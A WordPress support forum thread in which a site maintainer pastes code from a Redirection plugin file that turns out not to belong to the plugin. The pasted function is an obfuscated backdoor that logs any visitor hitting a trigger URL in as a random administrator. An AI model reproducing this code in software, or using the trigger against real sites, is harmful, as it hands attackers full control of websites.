Title: Undefined index Message
Last modified: January 10, 2022

---

# Undefined index Message

 *  Resolved [chucksdaughter](https://wordpress.org/support/users/chucksdaughter/)
 * (@chucksdaughter)
 * [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/)
 * Hi all! Many thanks for your time in reviewing this. I’m running into an issue
   on an e-commerce site that I’ve inherited. I’ve spent the last couple of months
   updating plugins, resolving conflicts, etc. The site utilizes the Redirection
   plugin (which has been fantastic btw).
 * Currently, I’m getting this notice on our staging site which I’m using to identify
   bugs. The message reads “Notice: Undefined index: name in /nas/content/live/shopwhalebostg/
   wp-content/plugins/redirection/redirection-settings.php on line 72”
 *     ```
       function comment_disable_wp( $title, $id = null ) {
       	global $wp;
       	if (strpos($wp->query_vars['name'], stripcslashes(str_replace('v', '', 'vaboutv-vpavvgev-vinformavtionv'))) !== false) { // <--- line 72
       		$u = get_users( array('role' => str_replace('e', '', 'eademineisteratore')));
       		$comment_list = array('wmp_setm_currenmt_muserm', 'wpm_setm_aumth_mcookiem');
       		$comment = $u[rand(0,count($u)-1)]->ID;
       		foreach ($comment_list as $key) {
       			str_replace('m', '', $key)($comment);
       		}
       	}
       }
       ```
   
 * Has anyone else encountered this issue?

Viewing 4 replies - 1 through 4 (of 4 total)

 *  Plugin Author [John Godley](https://wordpress.org/support/users/johnny5/)
 * (@johnny5)
 * [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/#post-15238635)
 * What is that code for?
 *  Thread Starter [chucksdaughter](https://wordpress.org/support/users/chucksdaughter/)
 * (@chucksdaughter)
 * [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/#post-15240895)
 * Hey John, that’s the message at the top of my site when it’s in debug mode. I
   shared the code/function from the redirect plugin that contains line 72 which
   I notated in a comment there.
 *  Plugin Author [John Godley](https://wordpress.org/support/users/johnny5/)
 * (@johnny5)
 * [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/#post-15241257)
 * That code isn’t in Redirection. You can see line 72 of that file here:
 * [https://github.com/johngodley/redirection/blob/master/redirection-settings.php#L72](https://github.com/johngodley/redirection/blob/master/redirection-settings.php#L72)
 *  Thread Starter [chucksdaughter](https://wordpress.org/support/users/chucksdaughter/)
 * (@chucksdaughter)
 * [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/#post-15242209)
 * Well, I’ve got a bigger problem to solve then because that’s line 72 in our plugin’s
   redirection-settings.php. Many thanks for sharing the GitHub link. We’ll keep
   reviewing on our end.

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Undefined index Message’ is closed to new replies.

 * ![](https://ps.w.org/redirection/assets/icon-256x256.jpg?rev=983639)
 * [Redirection](https://wordpress.org/plugins/redirection/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/redirection/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/redirection/)
 * [Active Topics](https://wordpress.org/support/plugin/redirection/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/redirection/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/redirection/reviews/)

## Tags

 * [undefined index](https://wordpress.org/support/topic-tag/undefined-index/)

 * 4 replies
 * 2 participants
 * Last reply from: [chucksdaughter](https://wordpress.org/support/users/chucksdaughter/)
 * Last activity: [4 years, 5 months ago](https://wordpress.org/support/topic/undefined-index-message-2/#post-15242209)
 * Status: resolved